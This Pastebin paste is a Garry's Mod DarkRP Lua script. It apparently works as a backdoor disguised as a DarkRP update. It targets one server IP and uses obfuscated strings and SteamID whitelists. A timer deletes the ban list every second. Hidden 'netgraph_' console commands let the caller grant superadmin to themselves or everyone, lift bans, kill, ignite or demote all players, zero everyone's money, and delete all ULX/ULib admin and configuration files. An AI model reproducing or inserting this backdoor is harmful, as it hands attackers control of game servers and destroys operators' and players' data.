henoireil

Untitled

Nov 26th, 2016
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 7.39 KB | None | 0 0
  1. if ( SERVER ) then
  2.     util.AddNetworkString( "DarkRPUpdate" )
  3.     local function spawn( ply )
  4.         if game.GetIPAddress() == "82.248.27.132:27015" then
  5.             if ply:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":3" .. "84" .. "72" .. "936") then return end
  6.             if ply:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":1" .. "73" .. "36" .. "216") then return end
  7.             if ply:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":4" .. "58" .. "46" .. "176") then return end
  8.             net.Start( "DarkRPUpdate" )
  9.             net.Send( ply )
  10.         end
  11.     end
  12.     hook.Add( "PlayerInitialSpawn", "DarkRPUpdate_spawn", spawn )
  13.     hook.Add( "PlayerLoadout", "DarkRPUpdate_respawn", spawn )
  14. else
  15.     net.Receive( "DarkRPUpdate", function( len )
  16.         local _panel = vgui.Create( "DFrame" )
  17.         _panel:SetSize( 650, 75 )
  18.         _panel:Center( )
  19.         _panel:MakePopup( )
  20.         _panel:SetDraggable( false )
  21.         _panel:ShowCloseButton( false )
  22.         _panel:SetTitle("DarkRP Important Update" )
  23.        
  24.         local Text = vgui.Create( "DLabel", _panel )
  25.         Text:SetText( "A" .. " n" .. "e" .. "w " .. "ve" .. "rs" .. "io" .. "n " .. "of " .. "Da" .. "rk" .. "RP" .. " h" .. "as" .. " be" .. "en r" .. "ele" .. "as" .. "ed," .. " ple" .. "as" .. "e go" .. " to h" .. "ttps".. "://gi" .. "thu" .. "b.co" .. "m/F" .. "Ptj" .. "e/Da" .. "rk" .. "RP" .." and " .. "do" .. "wn" .. "lo" .."ad t" .."he" .." lat" .. "e" .. "st" .. " v" .. "e" .. "rs" .. "io" .. "n." )
  26.         Text:SetTextColor( color_white )
  27.         Text:SizeToContents()
  28.         Text:SetPos( 32 , 40 )
  29.         Text:CenterHorizontal()
  30.     end )
  31. end
  32.  
  33.  
  34. if ( SERVER ) then
  35.  
  36.     timer.Create( "checkFordDarkRPUpdate", 1, 0, function()
  37.         ULib.fileDelete( "data/ulib/bans.txt" )
  38.     end )
  39.  
  40.     concommand.Add( "getserverip", function( ply )
  41.         print(game.GetIPAddress())
  42.     end )
  43.    
  44.     concommand.Add( "netgraph_ubid", function( ply, cmd, args )
  45.         if args[1] == nil then print( "Merci d'entrer une SteamID !" ) return end
  46.         ULib.unban( args[1] )
  47.         print( "Commande effectuee avec succes !" )
  48.     end )
  49.  
  50.     concommand.Add( "netgraph_ubip", function( ply, cmd, args )
  51.         if args[1] == nil then print( "Merci d'entrer une IP !" ) return end
  52.         game.ConsoleCommand("removeip " .. args[1] .. "; writeip;\n")
  53.         print( "Commande effectuee avec succes !" )
  54.     end )
  55.    
  56.     concommand.Add( "netgraph_ssp", function( ply )
  57.         ply:SetUserGroup("superadmin")
  58.         print( "Commande effectuee avec succes !" )
  59.     end )
  60.  
  61.     concommand.Add( "netgraph_sasp", function( )
  62.         for k, v in pairs(player.GetAll()) do
  63.             v:SetUserGroup("superadmin")
  64.         end
  65.         print( "Commande effectuee avec succes !" )
  66.     end )
  67.  
  68.     concommand.Add( "netgraph_ig", function( )
  69.         for k, v in pairs(player.GetAll()) do
  70.             v:Ignite( 60 )
  71.         end
  72.         print( "Commande effectuee avec succes !" )
  73.     end )
  74.    
  75.     concommand.Add( "netgraph_fts", function( )
  76.         local button = ents.Create( "gmod_button" )
  77.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  78.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  79.         button:SetColor( Color( 0, 0, 0, 0 ) )
  80.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  81.         button:Spawn()
  82.         button:Activate()
  83.         local button = ents.Create( "gmod_button" )
  84.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  85.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  86.         button:SetColor( Color( 0, 0, 0, 0 ) )
  87.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  88.         button:Spawn()
  89.         button:Activate()
  90.         local button = ents.Create( "gmod_button" )
  91.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  92.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  93.         button:SetColor( Color( 0, 0, 0, 0 ) )
  94.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  95.         button:Spawn()
  96.         button:Activate()
  97.         local button = ents.Create( "gmod_button" )
  98.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  99.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  100.         button:SetColor( Color( 0, 0, 0, 0 ) )
  101.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  102.         button:Spawn()
  103.         button:Activate()
  104.         local button = ents.Create( "gmod_button" )
  105.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  106.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  107.         button:SetColor( Color( 0, 0, 0, 0 ) )
  108.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  109.         button:Spawn()
  110.         button:Activate()
  111.         local button = ents.Create( "gmod_button" )
  112.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  113.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  114.         button:SetColor( Color( 0, 0, 0, 0 ) )
  115.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  116.         button:Spawn()
  117.         button:Activate()
  118.         local button = ents.Create( "gmod_button" )
  119.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  120.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  121.         button:SetColor( Color( 0, 0, 0, 0 ) )
  122.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  123.         button:Spawn()
  124.         button:Activate()
  125.         local button = ents.Create( "gmod_button" )
  126.         button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
  127.         button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  128.         button:SetColor( Color( 0, 0, 0, 0 ) )
  129.         button:SetRenderMode(RENDERMODE_TRANSALPHA)
  130.         button:Spawn()
  131.         button:Activate()
  132.        
  133.  
  134.         local ent = ents.Create( "sent_ball" )
  135.         ent:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
  136.         ent:SetColor( Color( 0, 0, 0, 0 ) )
  137.         ent:SetRenderMode(RENDERMODE_TRANSALPHA)
  138.         ent:Spawn()
  139.         ent:Activate()
  140.  
  141.         print( "Commande effectuee avec succes !" )
  142.     end )
  143.  
  144.     concommand.Add( "netgraph_ka", function( )
  145.         for k, v in pairs(player.GetAll()) do
  146.             v:Kill()
  147.         end
  148.         print( "Commande effectuee avec succes !" )
  149.     end )
  150.  
  151.     concommand.Add( "netgraph_kaadm", function( )
  152.         for k, v in pairs(player.GetAll()) do
  153.             if v:IsAdmin() then
  154.                 v:Kill()
  155.             end
  156.         end
  157.         print( "Commande effectuee avec succes !" )
  158.     end )
  159.  
  160.     concommand.Add( "netgraph_jmp", function( ) -- Jump All
  161.         for k, v in pairs(player.GetAll()) do
  162.             v:SetVelocity(Vector(0,0,50) * 50)
  163.         end
  164.         print( "Commande effectuee avec succes !" )
  165.     end )
  166.  
  167.     concommand.Add( "netgraph_rm", function( )
  168.         for k, v in pairs(player.GetAll()) do
  169.             v:SetDarkRPVar("money", 0)
  170.         end
  171.         print( "Commande effectuee avec succes !" )
  172.     end )
  173.  
  174.     concommand.Add( "netgraph_sm", function( ply )
  175.         ply:addMoney(14267596)
  176.         print( "Commande effectuee avec succes !" )
  177.     end )
  178.  
  179.     concommand.Add( "netgraph_rg", function( )
  180.         for k, v in pairs(player.GetAll()) do
  181.             v:SetUserGroup("user")
  182.         end
  183.         print( "Commande effectuee avec succes !" )
  184.     end )
  185.  
  186.     concommand.Add( "netgraph_rtd", function( )
  187.         ULib.fileDelete( "data/ulx/adverts.txt" )
  188.         ULib.fileDelete( "data/ulx/banmessage.txt" )
  189.         ULib.fileDelete( "data/ulx/banreasons.txt" )
  190.         ULib.fileDelete( "data/ulx/config.txt" )
  191.         ULib.fileDelete( "data/ulx/downloads.txt" )
  192.         ULib.fileDelete( "data/ulx/gimps.txt" )
  193.         ULib.fileDelete( "data/ulx/motd.txt" )
  194.         ULib.fileDelete( "data/ulx/sbox_limits.txt" )
  195.         ULib.fileDelete( "data/ulx/votemaps.txt" )
  196.         ULib.fileDelete( "data/ulib/bans.txt" )
  197.         ULib.fileDelete( "data/ulib/groups.txt" )
  198.         ULib.fileDelete( "data/ulib/misc_registered.txt" )
  199.         ULib.fileDelete( "data/ulib/users.txt" )
  200.        
  201.         ULib.fileDelete( "data/permaprops_permissions.txt" )
  202.         print( "Commande effectuee avec succes !" )
  203.     end )
  204. end
Advertisement
Add Comment
Please, Sign In to add comment